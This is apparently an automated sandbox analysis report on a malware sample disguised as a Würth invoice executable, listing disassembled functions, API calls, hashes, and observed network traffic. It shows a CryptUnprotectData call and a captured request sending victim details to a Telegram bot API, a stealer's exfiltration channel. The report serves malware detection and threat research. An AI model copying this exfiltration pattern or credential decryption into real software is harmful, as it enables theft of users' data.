Download Yara Rule

APIs

lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 004049E9
wsprintfW.USER32 ref: 004049F2
SetDlgItemTextW.USER32(?,007A1F20), ref: 00404A05

Strings

%u.%u%s%s, xrefs: 004049D3

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2a5c8ce22ee690c1834d8fe19b4078e46d638dc2c635e36934689c9442a0db71
Instruction ID: 2b7e710ae6fbde1b358b0fd1b9910d87067a2729d46772617da3059f694cf418
Opcode Fuzzy Hash: 2a5c8ce22ee690c1834d8fe19b4078e46d638dc2c635e36934689c9442a0db71
Instruction Fuzzy Hash: 7E11D8B36041282BDB10A67D9C45E9F3288DB85374F150237FE26F31D6D978D81182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: c52d995c6a09de31d07699e48f6cc19fb67cda0d220f09855fcf85d18e9887f1
Instruction ID: 645ef1fb58c2a3823f89181aa82dd13db394815f37a7e78e367622b5584871de
Opcode Fuzzy Hash: c52d995c6a09de31d07699e48f6cc19fb67cda0d220f09855fcf85d18e9887f1
Instruction Fuzzy Hash: 17219071940209BEEF01AFB5CE4AABE7B75EB44744F10403EF601B61D1D6B88A409B69

Function 00405EFA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,0040616D,00000000,00000002,?,00000002,007A69C0,?,0040616D,80000002,Software\Microsoft\Windows\CurrentVersion,?,007A69C0,?), ref: 00405F24
RegQueryValueExW.ADVAPI32(007A69C0,?,00000000,ma@,007A69C0,0040616D), ref: 00405F45
RegCloseKey.ADVAPI32(?), ref: 00405F68

Strings

ma@, xrefs: 00405F39, 00405F3D

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: ma@
API String ID: 3677997916-3044317719
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 67c10a838693b4c4a2102f8098a5dbc089b4be67bb217fb13d6fb11fa6bedce4
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: D6015E3210020AEBCF218F25ED08EDB3BACEF44350F00403AF949D2120D735D964CBA9

Function 0040237B Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(0040B5A8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,0040B5A8,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,0040B5A8,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: e8b86e9bac16b260ae7a5ee9e895bfa4972efd65879c26c7db1c22ae1cb4279d
Instruction ID: 2eb3f179888eee6661223950110f5cf3924aaf9325c93c271646fcdba77cb0fe
Opcode Fuzzy Hash: e8b86e9bac16b260ae7a5ee9e895bfa4972efd65879c26c7db1c22ae1cb4279d
Instruction Fuzzy Hash: 1411AE71E00108BFEB10AFA1DE89EAF767CEB44358F11403AF904B61D1DAB85E409768

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040518C: lstrlenW.KERNEL32(007A0F00), ref: 004051C4
Part of subcall function 0040518C: lstrlenW.KERNEL32(?,007A0F00), ref: 004051D4
Part of subcall function 0040518C: lstrcatW.KERNEL32(007A0F00,?,?,007A0F00), ref: 004051E7
Part of subcall function 0040518C: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 004051F9
Part of subcall function 0040518C: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040521F
Part of subcall function 0040518C: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405239
Part of subcall function 0040518C: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405247

Part of subcall function 0040570D: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F28,?), ref: 00405736
Part of subcall function 0040570D: CloseHandle.KERNEL32(?), ref: 00405743

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 5ed520e822444f21e368682f3a6738b45ec9b354c19c2aa85872919589bb6009
Instruction ID: 0d84b1aa03f1a7237eec4328a6cc722d91751d385b027cc4a264b2ba126eb04a
Opcode Fuzzy Hash: 5ed520e822444f21e368682f3a6738b45ec9b354c19c2aa85872919589bb6009
Instruction Fuzzy Hash: 2B116131900508EBCF21AF91CD4599E7AB6EF40354F20403BF905BA1E1D7798A929B9D

Function 0040565B Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 0040569E
GetLastError.KERNEL32 ref: 004056B2
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056C7
GetLastError.KERNEL32 ref: 004056D1

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 00ef7c6a0f32c1044080c086edeac3c819c61aa9b54d8d974478d91d60ac005e
Instruction ID: dadfd0f85cedcb10ba49dc730fb6619fbbf26863a665bac08794baa5a138d59b
Opcode Fuzzy Hash: 00ef7c6a0f32c1044080c086edeac3c819c61aa9b54d8d974478d91d60ac005e
Instruction Fuzzy Hash: F9010871D00219DBDF109FA0C9447EFBBB8EB14304F10443AE548F6280D77996148FA9

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402F6A,00000001,?,?,007B3000,00403513,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,007B3000,00403513,?), ref: 00402DE6

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 3ba6df06d1a8a2ebff1cb487cdf72ecd2568b7f3d734aee4a10920d39395f5c6
Instruction ID: ad8085ed609e9a9848802d48f5936c49a501436460537f39ac663ee6903d91f9
Opcode Fuzzy Hash: 3ba6df06d1a8a2ebff1cb487cdf72ecd2568b7f3d734aee4a10920d39395f5c6
Instruction Fuzzy Hash: D2F05831526A21ABC6A16B24FE8CA9B7B64AB84B11711847BF041B11F4DA7C0C92CB9C

Function 00405AE9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040602D: lstrcpynW.KERNEL32(?,?,00000400,0040332A,007A7A20,NSIS Error), ref: 0040603A

Part of subcall function 00405A8C: CharNextW.USER32(?,?,?,?,004015C9,00000000,000000F0), ref: 00405A9A
Part of subcall function 00405A8C: CharNextW.USER32(00000000,?,?,?,004015C9,00000000,000000F0), ref: 00405A9F
Part of subcall function 00405A8C: CharNextW.USER32(00000000,?,?,?,004015C9,00000000,000000F0), ref: 00405AB7

lstrlenW.KERNEL32(007A4728,00000000,007A4728,007A4728,?,?,?,0040583E,?), ref: 00405B42
GetFileAttributesW.KERNEL32(007A4728,007A4728,007A4728,007A4728,007A4728,007A4728,00000000,007A4728,007A4728,?,?,?,0040583E,?), ref: 00405B52

Strings

(Gz, xrefs: 00405AEF

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: (Gz
API String ID: 3248276644-3338112938
Opcode ID: f217c57d0773f97fe99c024ca1ceecf2f446b9cf42e0c00d782282592912bdd7
Instruction ID: 8ae2fce49526f5710a07790df8cd11e23799bcf3340ba248b926081ff081d995
Opcode Fuzzy Hash: f217c57d0773f97fe99c024ca1ceecf2f446b9cf42e0c00d782282592912bdd7
Instruction Fuzzy Hash: 98F0F429104D5116C622763A1C4AEAF3564CF8236471A023FF852B22D2DF3CB953CCBE

Function 00405100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040512F
CallWindowProcW.USER32(?,?,?,?), ref: 00405180

Part of subcall function 0040413D: SendMessageW.USER32(?,?,00000000,00000000), ref: 0040414F

Strings

, xrefs: 00405110

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2db196e0f7310a3ea08cf6f228cdd10093951b38e6a4e1a7139cbd366e119caf
Instruction ID: 5570e87b323d3ab4a73141f23c5ad1f32913b259369346fef97a544c26a8305a
Opcode Fuzzy Hash: 2db196e0f7310a3ea08cf6f228cdd10093951b38e6a4e1a7139cbd366e119caf
Instruction Fuzzy Hash: C4019E31500608AFEB209F11DD80B9B3726EB85355F108036F615792D0C37A8C929E29

Function 00405C31 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C4F
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,007B3000,0040327B,007B5000,007B5800,007B5800,007B5800,007B5800,007B5800,007B5800,004034A5), ref: 00405C6A

Strings

nsa, xrefs: 00405C3E

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: da3add3990966c57ea49aa46ced784fea404a948837784a5301244cb17f573d8
Instruction ID: eddd0f9b3fe3e6878938fd53c549b869409703644024dbd16f9d2af4fdafb47c
Opcode Fuzzy Hash: da3add3990966c57ea49aa46ced784fea404a948837784a5301244cb17f573d8
Instruction Fuzzy Hash: D7F09076700708BFEB109F59DD05A9BB7BCEB91710F10403AFD01E7280E6B09E548B68

Function 000D1A18 Relevance: 5.1, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

F, xrefs: 000D1A47
F, xrefs: 000D1B10
F, xrefs: 000D1B47
F, xrefs: 000D1B64

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: F$F$F$F
API String ID: 0-1844600021
Opcode ID: f6ea588ddf97f521e85d1179dfcb3441773d9d3b68476bed8e5b8d30b5748a88
Instruction ID: 7680354d9dfbda5a929304eb57feafa9fa68ffccf1eb9f0556baf47e583557ff
Opcode Fuzzy Hash: f6ea588ddf97f521e85d1179dfcb3441773d9d3b68476bed8e5b8d30b5748a88
Instruction Fuzzy Hash: DA41AE74A05309AFCB05DFB8C4416AEBBB6FF86304F1085A9D005AB356DB345E46CFA2

Function 000D2A69 Relevance: 5.1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

Strings

Xnq, xrefs: 000D2A9E
Xnq, xrefs: 000D2BA4
Xnq, xrefs: 000D2B57
Xnq, xrefs: 000D2AD8

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: Xnq$Xnq$Xnq$Xnq
API String ID: 0-1335687363
Opcode ID: 84bd35ad85f13db7fa975589e3059bcfbc601adef6a16c0f90ec2abd6110cbca
Instruction ID: 0c9777077b99a31b80ba388585a176e91faf40b8329fb47c14206c78db72efa9
Opcode Fuzzy Hash: 84bd35ad85f13db7fa975589e3059bcfbc601adef6a16c0f90ec2abd6110cbca
Instruction Fuzzy Hash: 93316270D003194BDFA49E69898176FB7F6AB64310F1441BBC519A7391DB70CE45CBA2

Function 000D6920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;jq, xrefs: 000D695E
\;jq, xrefs: 000D692C
\;jq, xrefs: 000D6936
\;jq, xrefs: 000D6952

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: \;jq$\;jq$\;jq$\;jq
API String ID: 0-138087212
Opcode ID: eb01bd629a612677df62bbb5a8436b758fdf68b81a7c8039dde83aa3e9372feb
Instruction ID: 9fa50377641516f8950f2d354b321255c378e71880539be212331c6148ad4f07
Opcode Fuzzy Hash: eb01bd629a612677df62bbb5a8436b758fdf68b81a7c8039dde83aa3e9372feb
Instruction Fuzzy Hash: 4D017C317403158FC7648E6DC56092AB7EFAF98760725416BE406CB3B4DE32EC428B60

Function 00405B67 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E48,00000000,[Rename],00000000,00000000,00000000), ref: 00405B77
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405B8F
CharNextA.USER32(00000000,?,00000000,00405E48,00000000,[Rename],00000000,00000000,00000000), ref: 00405BA0
lstrlenA.KERNEL32(00000000,?,00000000,00405E48,00000000,[Rename],00000000,00000000,00000000), ref: 00405BA9

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: e0aa3f8b5d9062cafbb7b658161da2b40476d8243bb4b83799a9e8f5804b25e7
Instruction ID: 726002b591c2c836e0c8fef6507a3208c362efe389af0cd528cd0253ba47f693
Opcode Fuzzy Hash: e0aa3f8b5d9062cafbb7b658161da2b40476d8243bb4b83799a9e8f5804b25e7
Instruction Fuzzy Hash: A0F0C235101914EFD7029FA5DD00D9EBBB8EF06350B2140A9E840F7310D674FE019BA8

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F87A8 CryptUnprotectData,		4_2_3A5F87A8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F8EF1 CryptUnprotectData,		4_2_3A5F8EF1

Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2019/10/2024%20/%2007:08:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 000DF45Dh	4_2_000DF2C0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 000DF45Dh	4_2_000DF4AC
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 000DF45Dh	4_2_000DF52F
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 000DFC19h	4_2_000DF974
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DB31E0h	4_2_39DB2DC8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DB2C19h	4_2_39DB2968
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DB31E0h	4_2_39DB2DB8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBDC51h	4_2_39DBD9A8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBD7F9h	4_2_39DBD550
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DB31E0h	4_2_39DB310E
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBD3A1h	4_2_39DBD0F8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBCF49h	4_2_39DBCCA0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_39DB0853
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_39DB0040
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBFAB9h	4_2_39DBF810
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBF661h	4_2_39DBF3B8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBF209h	4_2_39DBEF60
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBEDB1h	4_2_39DBEB08
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DB0D0Dh	4_2_39DB0B30
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DB1697h	4_2_39DB0B30
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBE959h	4_2_39DBE6B0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBE501h	4_2_39DBE258
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_39DB0673
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 39DBE0A9h	4_2_39DBDE00
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F5179h	4_2_3A5F4ED0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F7EB5h	4_2_3A5F7B78
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F9280h	4_2_3A5F8FB0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F1CF9h	4_2_3A5F1A50
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FD146h	4_2_3A5FCE78
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F4D21h	4_2_3A5F4A78
